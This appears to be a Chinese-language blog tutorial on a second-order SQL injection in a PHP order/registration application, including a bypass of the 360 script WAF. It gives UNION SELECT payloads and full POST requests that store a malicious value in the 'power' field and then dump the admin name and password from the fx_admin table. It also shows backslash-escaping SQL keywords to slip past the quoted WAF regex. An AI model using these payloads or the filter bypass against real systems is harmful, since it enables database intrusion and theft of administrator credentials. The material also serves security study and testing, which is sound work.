本文针对二次注入进行讲解,并简单的绕过360脚本waf。。。。。 首先来看程序的注册页面代码:
可以看到程序开始执行就包含了./includes/common.php这个文件,而这个文件又是整个程序的核心,进入common.php文件:
这个文件从9-14行定义了系统常量,系统的路径这些的,紧接着设置默认时区,我们需要注意的地方是24-26行,这段代码引入了
360脚本waf,我们再进入360脚本waf去看看:
我们进入360脚本waf仅仅只需要注意这段代码,可以看到这段代码过滤了get,post,cookie传参,其实还是过滤得不算严格,准确来说应该把server参数也过滤掉。
咱们继续浏览common.php文件,后面的代码也就是包含操作数据库类文件,核心函数文件,缓存类文件。接着咱们回到刚才的reg.php文件。
第43行判断是否设置了POST参数,如果设置将获取到的post参数赋值到对应的变量,然后判断各个变量接收到的参数是否为NULL,如果不是则执行插入数据库操作。
既然是二次注入,肯定还有查询后拼接的啊!所以我们接着看order.php文件:
这里可以明显的看出来,reg.php中的插入数据插入到了fx_order表中,然后当前文件查询的时候是针对reg.php中插入的订单号进行查询的,也就是说将订单号输入其中,
再将取出来的数据跟第六行的SQL语句进行拼接,而我们插入的时候将数据插入恶意SQL语句,这样当他进行拼接的时候就执行了恶意代码,从而达到了SQL注入的效果。
我们现在到MySQL命令行中对fx_group表进行注入:
这里我们进行了desc fx_group;这个语句是列出表的字段以及其他的一些属性,因为知道了当前表有5个字段,所以pyload如下
PYLOAD:' union all select NULL,NULL,NULL,NULL,NULL#
PYLOAD:' union all select NULL,NULL,NULL,NULL,concat(user(),'|',version(),'|',database())#
PYLOAD:' union all select NULL,NULL,NULL,NULL,concat(name,'|',pass)) from fx_admin#
可以看到这三条pyload的能力了吧!我们的目标是直接获取管理员的账户密码,所以二次注入的时候直接采用第三条pyload即可
下面开始复现漏洞:
POST:WIDout_trade_no=20180314144716763&name=aaaaaaaa&pass=aaaaaa&pass2=aaaaaa&email=aaaaaaaa&qq=aaaaaaaa&power=aaaaaaaaaaa
可以看到我们插入无恶意SQL语句的一条数据插入成功,因为order页面查询出来值的时候是取power字段进行拼接,所以,我们只需要将
恶意语句插入到power参数那里即可我们试着插入一下
POST:WIDout_trade_no=20180314144716763&name=aaaaaaaa&pass=aaaaaa&pass2=aaaaaa&email=aaaaaaaa&qq=aaaaaaaa&power=aaaaaaaaaaa' union all select NULL,NULL,NULL,NULL,concat(name,'|',pass)) from fx_admin%23
我们插入了带有攻击性的语句进去会直接被360脚本waf拦截,我们来分析一波拦截post请求的匹配规则,正则如下:
$postfilter = "<.*=(&#\\d+?;?)+?>|<.*data=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|\\b(group_)?concat[\\s\\/\\*]*?\\([^\\)]+?\\)|\bcase[\s\/\*]*?when[\s\/\*]*?\([^\)]+?\)|load_file\s*?\\()|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)|<.*(iframe|frame|style|embed|object|frameset|meta|xml|a|img)|hacker";
UNION.+?SELECT\s*
咱们就分析以上这点点正则,它的匹配规则:
从union开始union和select中间匹配任意字符,后面匹配任意个制表符,换行符这些的,开始看到这里我也蒙蔽了,但是找度娘询问了一番,发现mysql插入居然还能这样:
\’,大家都知道\在编程语言中是转义符,可以当我们这样插入以后,转义符不会插入表中,而是插入了’,实验一下
POST:WIDout_trade_no=20180314144716763&name=aaaaaaaa&pass=aaaaaa&pass2=aaaaaa&email=aaaaaaaa&qq=aaaaaaaa&power=aaaaaaaaaaa\'
果不其然,这样插入以后转义符就不见了,嘻嘻,此时露出了阴险的笑容,更改pyload:
POST:WIDout_trade_no=20180314144716764&name=shatea&pass=123456&pass2=123456&email=aaaaaaaa&qq=aaaaaaaa&power=aaaaaaaaaaa\'%20\union%20\all%20\select+NULL,NULL,NULL,NULL,\concat\(name,\'|\',pass))%20from%20fx_admin%23
成功的将恶意SQL语句插入了进去,接着进行下一个操作
我们进入order.php页面进行查询,让它拼接执行恶意SQL语句,当然我们要取出订单号20180314144716765,我们去查询一波
欸,卧槽,咋回事,我的管理员密码去哪了啊?仔细看了一下,原来是多了一个),改一下
POST:WIDout_trade_no=20180314144716766&name=shatea&pass=123456&pass2=123456&email=aaaaaaaa&qq=aaaaaaaa&power=aaaaaaaaaaa\'%20\union%20\all%20\select+NULL,NULL,NULL,NULL,\concat\(name,\'|\',pass)%20from%20fx_admin%23
好勒,我们再去根据订单号查询一波
url:http://localhost/injection/order.php?orderid=20180314144716766
可以看到管理员账号密码成功注入出来了。。。。。。。